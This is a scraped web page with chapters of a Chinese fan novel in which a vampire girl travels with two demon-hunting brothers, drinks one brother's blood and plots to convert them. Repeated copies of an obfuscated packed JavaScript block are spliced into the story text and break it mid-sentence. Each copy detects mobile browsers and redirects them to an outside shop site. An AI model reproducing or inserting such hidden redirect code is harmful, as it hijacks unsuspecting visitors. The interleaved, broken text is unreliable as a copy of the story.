l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294863|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仇报。” 说完,男人的手按在了空荡的裤腿,闭上眼睛,没有再多说什么,低头退出房间,顺便还带上了门。 这副模样,似乎是提起了他不愿意回忆的事情。 琉璃坐在原地思考了半晌,还是觉得帮助别人是能在最短时间内快速获得人类忠诚度的有效方式。 如果她有帮助到缘一和岩胜,他们两个是否也会对她献上忠诚呢? 琉璃脑袋上亮起一个大灯泡。 可以试一试! 她立刻起身,直奔隔壁房间,猛地将房门拉开。 里面只有继国岩胜在擦拭自己日轮刀的刀身,他动作顿了顿,抬头:“又要干什么?” 这人去隔壁房间连半个时辰都没待满,现在又一脸兴致勃勃地冲过来,肯定没什么好事。 果然,音羽山琉璃张口就是:“缘一呢!” 继国岩胜:“他在沐浴。” 琉璃点点头:“我去看看他!” 继国岩胜怀疑自己是听错了还是刚刚他说错了,高声又重复一遍:“我说他在沐……” 话还没说完,人已经不见了。 他闭上眼睛,深吸一口气,停顿半晌,最后还是面无表情地从榻榻米上站起来。 血族沐浴有浴缸和新鲜芬香的玫瑰花瓣,但人类沐浴似乎更喜欢泡在桶里。 琉璃一下就找到了从窗户口冒着热气的浴室,悄悄飞过去,只在手扒住窗户的时候发出了一些声响。 此时正是太阳完全下山的时候,宅子外的街道已经没有人路过,微弱的声响落在继国缘一耳朵里宛如被放大了一般。 这个时候会有谁过来? 脚步声几不可闻,也就只有这点动静暴露了屋子外面有人,宅院里的普通人做不到藏匿脚步声,想来应该是兄长寻过来了。 兄长是否等了太久,已经等不及了? 他想到这里,立马从水桶里站起来,搅动得水流哗哗作响。 “兄……” 一句“兄长”还没喊全,墙的另一边便传来了岩胜的质问。 “你到底想干什么?” 就算看不见兄长的表情,也知道他此时肯定是严肃的,就像在训斥着自己的家臣,势必要让做错事的下属不敢再犯。 不知道具体发生了什么事情,缘一当即想要出门看看。 继国岩胜听到木门“吱呀”了一声,头也没回:“回去,门关上。” 缘一有些迷茫,但他还是听了兄长的话,安静缩回了热水里。 看到继国岩胜那张严肃的脸,琉璃直觉自己可能做错了什么,可她明明什么都还没有开始做。 她对着手指,低声说:“我是想来看看缘一有没有什么需要我帮忙的。” “男人沐浴,你能帮什么忙?” “正是因为不知道,所以才来问的嘛。” 青年得到这样一个回答,简直就是没招了,他看着音羽山琉璃,又问:“池田帮你整理好房间之后,你就突然想要为缘一做些什么,为何?” 琉璃抬头与他对视,回答道:“那个人类说,因为你们帮助了他,所以他很敬重你们,想要和你们搞好关系。” 继国岩胜等她继续说完。 “互相帮助就可以拉近关系。”她问:“……对吧?” 继国岩胜:“……” 斥责的话在嘴里转了一圈,突然就有些说不出口了。 她居然,是为了这个? 青年无奈扶额。 11. 十一只血族 现在继国岩胜是信了,音羽山琉璃这家伙是一点人类的基本常识都没有。 难道血族都是一些不通人情的家伙吗?就算是异族,也会有往来方式吧?他们难道从不结交好友,异性之间也完全没有男女有别的观念? 继国岩胜的心情有些复杂,他已经不觉得音羽山琉璃是毫无礼数,她简直就是一稚子,什么都需要教。 说到底,她在她的族中待得好好的,为什么非得要生活在人群之中呢? 这么想着,继国岩胜也就这么问了:“你究竟为什么会来人类的地方生活?” “因为我不想继续待在家里了呀。” “所以,为什么?” “……” 音羽山琉璃纳闷地看着他。 这人怎么突然就想知道这个了? 琉璃其实并不想和他人分享自己的想法,准确来说,是不想和岩胜分享这种想法。 他和产屋敷是不同的性格,产屋敷会温柔地肯定她,觉得勇于挣脱束缚的女子是勇敢的,并且鼓励女性走出牢笼,寻找自己喜欢的生活方式。 可继国岩胜不同,他从小是在规矩中长大的,之前说到女性应当如何,也表露的是女性要温文有礼,尊卑有序,两个人的观念是不同的,即便是她现在袒露了,恐怕也只会得到岩胜的一句“异想天开,不知所云”。 这些事情可以和产屋敷说,可以和缘一说,可以和炼狱说,却唯独不能和岩胜说。 于是音羽山琉璃没有正面回答,只是含糊道:“哪有什么为什么,就是想看看除了血族之外的地方是什么样子的。” 继国岩胜盯着她看了许久,从表情上看不出情绪,但语气并不好:“……先回去吧,一会儿再说。” 琉璃暗自撇嘴,一会儿再说,一会儿再说的反正肯定不是什么好话。 继国岩胜这古板老臭的性格,和族里那些臭老头一模一样。 回到房间,叫做池田的男人已经准备好了晚饭,小矮桌整整齐齐摆在一起,就等着剑士们来吃口热乎的。 这个时间点卡得正正好,此时恰好缘一洗完澡,岩胜擦完刀,就算中途发生了一些小插曲耽搁了时间,也完全不影响饭菜的美味。 音羽山琉璃不用吃这些,让池田代她吃掉,闷闷不乐地回了房间,自己将自己裹在柔软的被子里。 太阳下山后的人类世界远比血族城堡要安静得多,被褥香喷喷的,还十分柔软,琉璃躺着躺着就不知不觉涌上了些困意,意识也逐渐模糊。 直到敏锐地听见有人敲门,她才猛然惊醒,而后又整张脸埋在枕头里,磨蹭了一会儿,才打了个哈欠起身去开门。 门外站着的是继国岩胜,琉璃没有很意外,他之前就一副有话要说的样子,只不过一直没有谈话的机会。 青年身形高大,往门口一堵,基本将月光遮了个严实。 岩胜居高临下地打量头发乱糟糟的女性异族几眼,别过头去,说道:“你跟我来。” 你跟我来,琉璃在他背后嫌弃地做鬼脸。 训话还这么麻烦。 琉璃跟着岩胜来到中庭,那里风景不错,紫藤树下还设有石桌石椅。 她隐隐有察觉岩胜要讲大道理,心里很不耐烦,坐姿也东倒西歪。 相反继国岩胜倒是背挺得笔直,坐得规规矩矩。 琉璃先开口:“你想和我说什么?” “关于你在浴室外说的那件事。” 琉璃心想,果然是觉得她做的不对,要挨骂了。 真是的,要骂那会儿骂完就好了,还非得等现在找上门来追着骂。 ……要不是缘一在附近,她才不要听人类的大道理,直接杀掉,一劳永逸。 “我知道你有很多事情不想说出来,我亦不会勉强你言无不尽,只是,你既然决定要在人类当中生活,就不可像今天这样莽撞。”继国岩胜语气很平静,并不像是在骂人。 琉璃愤愤的怨气一滞,眨了眨眼睛,侧头看向身边的青年。 “缘一个性单纯,为人直率,很多小事在他眼中都没有明确的界限。你若是想要真正与人类共处,就要知道人类长久以来的生存法则,要是事事都跟着缘一学,等我们离世后,你会很辛苦。” 离……离世? 她连忙抬手打断继国岩胜,“等一下,怎么突然就说到这个了?像你们这样厉害的人,怎会离世?” 继国岩胜顿了顿,抬头看向天上的月亮:“人类寿命有限,身体也很脆弱,当然不似月般永恒,即使实力强大,总有一天也终会消散。” 要是染上疾病,便会像母亲一样,被痛苦就缠,早早地离开。 毕竟人类与鬼不同,坚韧,却也脆弱。 音羽山琉璃张了张嘴巴,却什么也没能说出口。 他说的对,就算他们不会被鬼吃掉,他们总有一天也是会死掉的。 那她统一人类的鸿图霸业怎么办! ……有了。 她脑袋灵光一闪,提议道:“岩胜,不如你和缘一成为我的同族吧?这样你们不仅可以拥有强大的力量,快速愈合伤口的能力,还有长久的寿命,只要不触及阳光,不被银器刺穿心脏,就绝对不会死。” 这简直就是天才。 把他们变成自己的附庸,他们的强大只会成为自己的助力,就算他们想弑主也不成气候,说不定她还能用这个方法组织一个属于自己的王族。 纯血的血液珍贵,由她转化成的人类比那些混血种要强得多。 琉璃越想越觉得可行,她抓住继国岩胜的手,用期待的眼神看着他:“岩胜,成为血族吧?你那么厉害,只能活几十年也太可惜了,你难道不想永生吗?你难道不想变强吗?你难道不想和我还有缘一一直生活下去吗?” 继国岩胜沉默着,原本若有所思的神色在听到最后一句话后沉下来,闭上眼睛,说:“凡人之躯虽有诸多不便,却也胜过沦为鬼怪。” 甚至他还抽回了自己的手,继续说:“若是我为异族,我的族人又该以何种目光来看待我?以后不要再提这件事,我会站在人类这一边,与鬼抗争。” 音羽山琉璃:“……好吧。” 他居然能把“胜过沦为鬼怪”这种话说的这么顺嘴,说明在他心里她一直和鬼是一个类别的东西,不是鬼,就是怪。 那没的说,她还不想让这个死脑筋变成血族呢……才怪,她超想的! 把一个超厉害的人类转变成自己的同族附庸当然好处多多!如果她能多找几个像缘一和岩胜这样的人才,她说不定还能从哥哥手里把王位抢过来。 谁要当他那个破王后,她要就要当王。 不行,她一定要找到机会撬产屋敷的墙角。 音羽山琉璃偷偷看他一眼,思考两秒,突然想到什么,问道:“你专程来找我,不仅仅是为了说这些吧?你觉得我今天下午的行径莽撞……是不是想教教我,怎样才能与人亲近?” 继国岩胜:“想学?” “当然啦,我以后肯定会一直在你们身边的,肯定想要和你们关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294864|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好些的。”她暗自观察着青年的表情,又多说了几句好话:“岩胜你懂得懂得东西这么多,肯定能教会我的,对吗?” 从继国岩胜的脸上其实看不出多少情绪,他依旧一副冷淡的样子,语气倒是比刚刚要好不少:“我可以教你一些驭人之术,与人亲近,最重要的也不过是笼络人心。” 哥哥以前好像也教过一些,不过母亲说,她是血族中最尊贵的纯血之一,不会有人敢反抗她,她想做什么尽管去做,剩下的自会有人来处理,所以琉璃向来不喜欢听这些大道理。 琉璃已经没什么兴趣了,不过还是顺便接了一句:“比如呢?” 继国岩胜侧目过来,这次直接盯住了音羽山琉璃的眼睛。 “很简单,只要知道她最想要的。” “我又不是别人,我怎么知道那个人最想要的是什么?” “人的执念很多,只要猜中一样,你就可以通过这一样来下手。”他微微停顿,而后问了一个完全不相关的问题:“你一整天都没有进食过,现在饿吗?” 虽然不知道他为什么突然说起这个,但音羽山琉璃还是老实回答了:“有点吧,不过我们不以饱腹感来判断是否需要进食,能给我血液的人现在不在这里,缘一应该已经睡下了。” “不是只有缘一才能给你血液。” 继国岩胜用随身携带的短刀浅浅地划开了皮肤,伤口渗出一部分血色,与红色一起蔓延开来的,还有他血液中特有的香味。 ……好香。 昨天才刚喝饱,今天闻到岩胜的味道又感觉有些饿了。 音羽山琉璃直直地看着那道红色的血痕,不自觉凑近了一些。 离家出走之前,优质的新鲜血液她想什么时候喝就什么时候喝,要是喝腻了,她就会随意地赏赐给下人,完全没有计算过喝饱一次后能够支撑多久。 而在渔村,那里的人血液里都混杂着一种海风的咸味和鱼的腥味,她提不起兴趣,也没怎么动用过力量,需要进食的次数很少。 直到现在她才知道。 原来不是一次管饱后就能控制住自己的。 美味珍馐主动送上门来,即使是纯血也会忍不住露出獠牙。 “我可以给你血,你想什么时候喝,喝多少都可以。” 血液顺着他的小臂往下流,在月光下冷白的皮肤上留下一道诱.人的鲜红痕迹,继国岩胜的视线从滴落的血珠上挪开,落在女性血族那张昳丽的面容上。 “但代价是,你要在我面前乖巧一点……怎么样,能做到吗?” 音羽山琉璃完全被他血液的香味迷惑,缓了口气才用最后一点理智问道:“怎样才算乖巧?” “听我的话,这对你来说很简单。” “……” 音羽山琉璃直觉自己是不应该答应的。 继国岩胜没有得到回答,却是难得上扬了嘴角,给了一个好脸色。 他将小臂往下压了压,刚好就在琉璃往前就能触碰到的位置。 “喝吧。” 音羽山琉璃真的喝了。 温热的血液入口醇香,和缘一的味道有些相似,却又有些不同,她记得这个味道,像是雪松清冷,像是泉水清冽,有着雪水融化后的甘甜,这种香甜从口腔滑入咽喉,顺着食道融入身体中,简直令人迷醉。 舌尖舔舐着小臂上的伤口,拨弄着沾染腥甜的软肉。 在沉溺于美食的某个间隙,音羽山琉璃突然就明白了。 原来这也是他说的驭人之术啊。 12. 十二只血族 鬼的传闻在这个时代层出不穷,而获得消息的方式落后,为了不留遗漏,只要听到风声,在附近执行任务的猎鬼人就必须要去看一看。 天刚蒙蒙亮的时候,从产屋敷那里飞来的乌鸦带来了一封信,信中说上野附近频频有命案发生,亡者的死相惨烈,拼凑不出完整的尸身,有人想要抓出凶手来证明自己的才能,却一连好几天都追查不到相关的任何线索。 为了早些确认消息,这次依旧赶路赶得很急。 不过比起昨天,缘一发现琉璃很明显不那么畏惧阳光了。 他看得很清楚,原本女性血族的皮肤在阳光的影响下,会像是一块凑近火焰的雪块,隐隐会有要融化一般的波动。 没有喝他的血之前,这种感觉更为明显,像是被火点燃的棉麻,但凡被阳光照到,一瞬间就被烧掉一块。 现在已经不是这样了,缘一甚至觉得就算琉璃没有那把黑伞,就算被阳光直射,在短时间内也不会出什么大事。 而且,琉璃和兄长的关系好像好一些了。 明明他记得,之前兄长很头痛要带着一个这样的麻烦完成任务,也很嫌弃琉璃的不守礼数不懂尊卑,琉璃也同样讨厌兄长的独断与约束。 这样相看两厌的人,路上相处的十分融洽,就连途中遇见了一只恶鬼,都能相互配合上,完全不用他插手。 对此…… 缘一认为很正常。 毕竟兄长是个很好的人,真正了解过他的话,一定也会这么觉得的。 上野的任务并不难做,琉璃在喝过岩胜的血后,鼻子又比之前要灵敏些,缘一都还没察觉到鬼的气息,她却先一步闻到了鬼的臭味。 既然确定了鬼的位置,将其斩杀也是迟早的事情。 这几次杀鬼都是岩胜动的手。 他脸上的斑纹在平日里就像是普普通通的花纹,如同贵族堆里兴起的某种妆容,但只要他使用呼吸法,那如云如雾的纹路便会隐隐亮起火光,让那清冷绚丽的刀光都染上了炽热的温度,使月亮一般的弧度变得格外有压迫感。 这种感觉,倒是和缘一越来越像了。 不过琉璃可不会和岩胜说这种话,她是知道的,岩胜最讨厌别人拿他和缘一比较,也讨厌别人对缘一的力量过于吹捧。 ……哦。 不对缘一的力量过于吹捧,是不是对他的力量过于吹捧就能拉拢他了? 琉璃肯定点头,张口就来:“真是厉害啊,岩胜,开启斑纹之后,你对自身的力量掌握更为纯熟了,就算是能够使用血鬼术的鬼,在你手下都没办法撑过三招呢。” 缘一对别的事情毫无反应,听到这句话倒是赞同地跟着点点头:“确实,兄长又更上一层了。” 继国岩胜:“……” 如果说音羽山琉璃的夸赞让他觉得这人多少有点夸张的成分,那么自家兄弟的补充便是让他觉得这两个人在一唱一和的阴阳怪气。 怎么,他又被孤立了? 继国岩胜面无表情地看着这两人,什么话都没说,转身走远了。 音羽山琉璃和继国缘一面面相觑。 琉璃:怎么感觉拍马屁拍马腿上了? 缘一:。 琉璃:第一次谄媚没什么经验,下次能不能你加把劲夸夸人家? 缘一:。 看不懂继国缘一这张帅脸到底在想什么,音羽山琉璃叹了口气,放弃与他眼神交流。 上野的任务完成的很迅速,紧接着下一个任务又来了。 猎鬼人似乎永远都没有自己的时间,永远在赶路、杀鬼、修养三个阶段,像缘一和岩胜这样厉害的,直接都省去了修养这一步骤,整整一个月都在赶路和杀鬼。 琉璃是不用睡眠来恢复的,但是像这样连轴转也会觉得累,如果不是岩胜一直都有贡献出自己的血液,她怕是早就要倒在路上了。 这种疯狂的工作强度在一个月后终于按下了暂停键。 起因是缘一收到了来自产屋敷的信件,说队内陆陆续续有剑士死亡,原本以为是中了某只鬼的血鬼术,最后却发现死去的剑士无一例外全都开启了斑纹。 这…… 难道开启斑纹不是一件好事?它在开发身体潜力的同时,也带来了一些隐患? 琉璃不禁开始担忧起来,缘一也盯着信件久久沉默,然后抬头看向他的兄长。 继国岩胜听到这个消息表露出了很明显的讶异,他确实在开启斑纹后觉得体温高的不正常,而且使用那样的呼吸法肯定会对肺部造成一定的负担,却没想到使用斑纹的代价居然是生命。 那问题来了,那些死去的剑士,是否是因为过度使用斑纹才让身体透支,从而死去的呢? 一切还未查明,这些都无从得知。 他面对缘一和琉璃两双眼睛,思虑之下,还是安抚了几句:“凭产屋敷的聪慧,他肯定会将事情缘由尽快查清楚,在此期间我不是用斑纹便是了,缘一,你也要注意。” 继国缘一有些欲言又止,他刚想说话,却被音羽山琉璃拉住袖子。 不能说。 缘一是知道自己不会因为斑纹死掉的。 音羽山琉璃也不能说。 缘一和那些剑士不一样,他一生下来就有斑纹,看到的世界也与旁人不同,如果使用斑纹的力量会导致身体快掉,人也死掉,缘一是不可能会平安活到现在的,所以他不会像那些剑士一样逝去。 青年侧目看了音羽山琉璃一眼,最终还是将坦白的话咽了下去。 三日后,产屋敷又送来了一封信。 正如岩胜所说的那样,产屋敷智慧过人,仅仅几日而已,他就敏感地找到了剑士死亡的规律,从而推测出了许多东西。 现在可以确认的是,剑士们的死亡一定和斑纹有关联,且到了一定年纪,开启斑纹的剑士便会死去。 具体的年岁已经有了一个大概的猜想,但产屋敷现在不敢妄下定论,他只能继续观察,并询问缘一是如何支撑住斑纹开启后巨大消耗的,以及是否有独特的方法能延缓死亡。 缘一无声地叹了口气。 琉璃路过他身后的时候听见他叹气,好奇地停下来,越过缘一的头顶去看那封信的内容。 血族的视力一向很好,现在她认字也没什么问题,一目十行地快速看完,也明白了缘一为什么会叹气。 琉璃在缘一身边坐下来,问他:“产屋敷的问题很难回答吗?按实情来写呗。” “……不。”缘一将信纸放下,低声说:“正因为好回答,才不敢回答。” 他生来如此,一切都是天生的,哪有什么办法。 可如果连他都没有办法,产屋敷又能怎样解决呢? “产屋敷之前和我说,人类已经和鬼舞辻无惨抗争了几百年,在我没有来到鬼杀队前,人类以脆弱的身躯抵挡在鬼舞辻无惨的面前,直到我将呼吸法教给剑士,他们才增加了与鬼抗争的底气,是我给人类带来了希望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294865|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他说:“斑纹可以增加剑士们存活的可能,但现在产屋敷却说,斑纹开启之后是必死的,既然代价如此,突破人类的极限,获得那样的力量……”也许不是什么好事。 可能产屋敷说错了,他不是给人类带来了希望,而是让那些心怀大义热血的人又多了一条死路。 继国缘一心绪复杂,他抬头看向坠满星星的一片深蓝,一时间有些迷茫。 他所执着的保护,好像一直在让他处于失去当中。 那……什么才是他应该做的呢? “你们人类真奇怪,在短暂的寿命里却想要强求那么多东西。”琉璃托着下巴看他:“不然,让那些剑士们成为我的族人吧?这样大家就不会死了,还能得到和鬼抗衡的力量。” 继国缘一:“你不懂。” “……”音羽山琉璃不满地鼓起腮帮子。 又不懂了。 怎么一个两个的,都觉得成为血族不好。 她才是觉得人类不好呢,轻轻一碰就会碎掉。 “既然这样,就不用担心这么多啊,活一百年也好,活五十年也好,活二十年也好,反正都是一瞬间的事情。”琉璃说了些气话:“早晚都是要死的,结果都一样,还不如开了斑纹多做些贡献,死得其所。” 继国缘一侧头看向琉璃,琉璃被他看得气焰消下去一些,心虚地连挺直的背都弯了下去,小声说:“那不然还能怎样?都是自己的选择。” “……”他沉默了半晌,问道:“如果哪一天我死了,你又会做出什么选择呢?” 琉璃:“……” 她心态有点崩了。 是最近传来的消息太消极了吗?怎么一个两个全都问她死后的事情? 这种事情谁知道啊! 她还想把这两兄弟变成同族,强势回归,上演一出“回国后我夺得了王位”的爽剧戏码,把笨蛋哥哥和他的混血种女仆小姐踹出城堡呢,结果他们对长生和力量一点兴趣都没有。 不想死就变成血族啊,不想被鬼吃掉就变成血族啊,不想被鬼舞辻无惨压一头就变成血族啊! 变成血族啊笨蛋继国! 音羽山琉璃没招了,她学不会继国岩胜的驭人之术,因为她看不出缘一最想要什么,他觉得自己本来就是要死的,好像已经无欲无求了。 琉璃冷哼一声:“你要是死了,就没人能治得住我了,到时候我就去找鬼舞辻无惨,我和他联手,把人类全都转化成异族,不是血族就是鬼族,整个国家就掌控在我和鬼舞辻无惨的手下。” 继国缘一:“。” “我看有些会血鬼术的鬼实力也不错,在占领了这个国家之后,我和鬼舞辻无惨就开始往渗透族人,将手伸到海另一边的国家去,把所有的人……” “锵——” 锋利的刀刃横在了琉璃的颈脖前。 那是继国缘一的刀。 琉璃闭上了自己的嘴巴,收敛了嚣张的气焰,挤出一个笑容,对他说:“所以你要好好活下去,缘一,我希望你活着。” 继国缘一面无表情:“我会长命百岁的。” 日轮刀挪开,压迫感也随之消失,琉璃暗自松了口气,表面笑脸盈盈,实际上阴暗爬行。 最强大的人类都是个奇怪的家伙,这个阵营一点前途都没有。 她还是要去找个机会见见鬼舞辻无惨,看看鬼王是个什么货色。 说不定,还真能考虑一下联手的事情。 13. 十三只血族 又过了五日,产屋敷送来关于斑纹的最后一封信件。 上面说前天又有几位剑士死去了,做过调查后,确认了开启斑纹后的剑士活不过二十五岁。产屋敷在综合考虑之下有心想阻止剑士们开斑纹,却发现斑纹像瘟疫一样传播开来,只要有一个人身上出现斑纹,那么他身边的剑士身上都会先后出现纹路。 产屋敷还说,最近可能需要辛苦缘一多去几个地方祓除恶鬼,队内一些队员对斑纹一事颇有微词,并不太平,希望他过些时日再回。 从队里传来的信,缘一都会给岩胜看,这次也不例外。 只是相比起前两次的平静,岩胜看完这封信后叹了口气,眼中起了许些波澜,说道:“就按照产屋敷的做吧,以他的能力,很快就会解决的。” “斑纹一事,早就将剑士们划分成了不同的等级,‘开启了斑纹的剑士等级更高’,或是‘只有更厉害的剑士才能开启斑纹’这种说法早就在队里传开了。大家原本是平等地做着同一件事情,却因为这个被分出等级,隐隐有了嫌隙,本就会使人生出不满。” “现在又说开启斑纹后活不过二十五岁,除去心志坚定,在除鬼这条路上甘愿奉献自己的人,其他普通剑士又会怎样想呢?” 继国岩胜将信还给缘一,继续说:“他需要一些时间整顿队内,同时也在为你考虑。” 如果把斑纹比作了瘟疫,那源头毫无疑问是缘一了吧。 产屋敷没有说太多,只用一句“颇有微词”带过,想来也是打算顺便整治了,但……开启斑纹的人类活不过二十五岁…… 继国岩胜藏在衣袖下的拳头暗自捏紧。 二十五岁。 “既然这样的话,刚好趁这个时候休息一下呗,反正任务没有真的布置下来。” 音羽山琉璃的声音打断了继国岩胜的思绪,她笑眯眯地勾住两个人的胳膊,说:“正好听这里的人说,最近会有祈福祭典,我还没见过这里的祭典是什么样子的呢,去吧去吧?” 继国岩胜拳头硬了:“你脑袋是不是出问题了?” 琉璃:“?” 看她这一脸问号的样子,继国岩胜长长呼出一口气,嘴角抿起,面无表情地甩掉她的手:“……算了,你不会懂的。祭典你自己去吧,我没心情。” “……”琉璃迟疑地看向身边的继国缘一。 她又哪里惹到他了? 继国缘一:“。” 琉璃:“……” 和这个呆瓜没话讲。 既然继国岩胜不去,大概率继国缘一也不会去的,而这两个人不去,琉璃也不能单独跑去人那么多的地方,这是之前就和缘一说好的。 算了,也不急于一时。 再等几天,说不定岩胜心情好了,就愿意去了呢。 …… 不管等几天,岩胜的心情都不会好了。 产屋敷一直都在忙着处理队内的事情,没有再传书信过来,而猎鬼人的死讯却偶有听闻,每次得到这种消息,岩胜表面上没什么波动,转头就去练刀,将后院的木桩砍得七零八落。 他和缘一一样,情绪一直都很隐晦,只不过缘一这个呆瓜很少有负面情绪,岩胜却和她见过的那些人类似的,有着各种各样奇怪的想法。 琉璃不明白他到底在烦什么,是在悲伤同伴的逝去?还是在痛苦自己也将早逝?又或者在烦恼未来与缘一相处的时间太短? 就现在岩胜一生气就独自练刀的行为来看,好像也不是后者。 琉璃还是想去祭典,这玩几天都在想办法让他高兴起来,只是她的提议被岩胜凶巴巴地驳回,他还说:“我不可能变成你的同族,你贫瘠的头脑只能想出这一个办法吗?” “我的血可以治愈斑纹带来的副作用,但如果你不接受我的初拥,可能会被我的血吞噬意志,变成没有思考能力,只渴望鲜血的怪物。比起这样,难道不是成为我的同族更好吗?” 岩胜有些烦闷,不想再与她多说,“你走吧,要是想去祭典,让缘一和你去。” “……”琉璃无言地看了他好几眼,转身走开了。 搞不懂,奇怪的人类。 还被骂了,无语。 夜晚,音羽山琉璃闲来无事,趴在床边用草编织着小兔子。 这个还是周围的小孩教她玩的,村子边缘的家庭大多不富裕,孩童白天在田里帮衬父母,傍晚吃了便会聚在一起玩些幼稚的游戏,草编动物就是隔壁的女娃娃强要教她的。 人类的无趣小东西,折起来简单,看上去也丑丑的。 她将编好的兔子放在窗沿上,用手指推了推它圆滚滚的脑袋。 居住的府邸很偏僻,只是即使远离了村子中心,却仍能听见那边的热闹,即使有遮天蔽日的大树遮挡,也能看见照亮半边天的火光。 今天还不是祭典当日呢,人们只是在为祈福祭典做准备,似乎就已经很有意思了。 她只看过渔村的村民为了祈求出海平安而举行祭祀,而说是祭祀,也只不过是拿那些臭鱼烂虾去孝敬所谓的海神。 有没有海神琉璃不知道,反正每隔一段时间渔村都会有人被海浪卷走,最后还得求琉璃晚上去海里捞人。 更何况用海里捕上来的生物去“孝敬”海神,如果真的有神明,他看到自己的子民变成了尸体,还被人类丢回海里,肯定会生气的吧。 啊,所以才会每隔一段时间都会有人翻船吗? 那个是海神在生气啊。 琉璃想通了以前自己无法理解的事情,她就说那样广阔温和的海域,怎么可能会三天两头出人命,原来是人在做天在看。 “咳。” 一声轻咳将音羽山琉璃的思绪拉回来。 她眨了一下眼睛,侧头往右边看去,只见身穿着一身紫衣的继国岩胜不知道什么时候靠在了窗外的墙上,双手环胸,眉宇间有刻意挤出来的不耐。 “岩胜?”琉璃直起上半身,问:“这个时间你要去哪里?” 宅子的一部分窗户外面是长廊,琉璃的门和窗在同一边,外面的长廊通向前院和大门,如果顺着长廊往左拐,还能去缘一的房间,就是不知道大晚上的,岩胜怎么会突如其来这种雅致到处闲逛。 继国岩胜应了一声,说:“你出来,我有东西给你。” “什么东西?”琉璃兴致缺缺,“我不想出去,明天再给我好了。” 青年斜眼看她,语气平平:“是吗?我提醒你,你现在不出来拿,你会后悔的。” 音羽山琉璃有点烦,但同时她也有些好奇是什么东西能让继国岩胜说出这种话,纠结了几秒之后,她还是挪到了门口,将纸门拉开。 继国岩胜怀里揣着个盒子,他递过去,依旧是语气平平:“明天早点醒,我会在后院等你。” 她将木盒子抱在怀里,面露疑惑,不过岩胜没有多解释,东西给到后就走了。 什么东西神神秘秘的? 琉璃看着他快步离开的背影,就着月光打开了盖子。 里面是一件折叠整齐,而且面料十分不错的红黑色衣服。 她一愣,指尖碰了碰上面精致的刺绣。 自从来到这里后,琉璃就没有过这么好的衣服了。 在渔村条件也就这样,有衣服穿就已经算不错,缘一送她的衣服很漂亮,但用料实在算不上优秀,这件衣服不管从做工、面料、设计来说,都算上等。 琉璃眼睛亮晶晶的,迫不及待拎起衣服往身上披。 袖子的长度刚刚正好,裙摆也恰到好处,完全就是根据她的尺寸来做的衣裳。 定制的衣服可不是一天两天就能做完的呢,而且这种工艺也不是小作坊能做得出来的,恐怕村子里的裁缝看到这样好的布料都不敢下剪子,更被说这得心应手的精湛手艺。 来到这个村子前,他们是经过了一座城池的。 那个时候岩胜就想给她用好料子做一件像样的衣服了吗? 音羽山琉璃的嘴角不受控制地高高扬起。 怪不得他来送东西的时候扭捏的要命,眼神平静如水,表情也努力端着,什么都不显露,甚至连话都不多说几句,将东西塞给她就急匆匆地离开。 不坦诚这一点,偶尔也挺可爱的。 人类总是这样,在她觉得很无趣的时候,突然又会给她一个惊喜。 琉璃决定原谅前几天凶巴巴的继国岩胜,因为他不仅给她准备了很好的衣服,明天还准备带她一起去祭典。 她抱着用柔软美丽的丝绸做的衣服,高兴地转了一个圈,再软绵绵地倒在被褥里。 上面是用香包压出来的紫藤花香味。 琉璃闻了闻,然后被花的味道弄得打了个喷嚏。 她不喜欢这些味道,不过她实在太喜欢这件衣服了,就算闻着花香一直打喷嚏,她也没有放手。 窗外依旧传来村民们准备祭典的声音,只是听了就烦闷的嘈杂声,此时此刻像是欢快的鼓点,全都转化为了对明天行程的期待。 窗台上那只用草编织成的胖兔子被吹来的风吹得晃了晃,琉璃从被褥里坐起来,盯着那只兔子看了一会儿,然后将其收好,存放在了窗边的梳妆台中。 再给缘一编一只,明天刚好可以送给他们。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294866|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 祭典如约而至,隔壁小孩和琉璃已经建立了一起编过草的友情,他们一家五口去参加祭典的时候,还特意过来问他们三个人要不要一起去。 那会儿时间还早,琉璃才刚醒,正在给自己梳妆打扮,他们也只好先去了。 继国岩胜在后院等了好一会儿,等得都有些不耐烦了,忍不住说了一句:“不是她最想去祭典吗?怎么这么慢。” 缘一放下水杯,站起身来:“兄长稍等,我去把人抓过来。” “……倒也不……” “我的速度已经很快了,怎么还想着抓我?” 清亮的女声从身后传来,打断了继国岩胜的话。 他们下意识往那边看去。 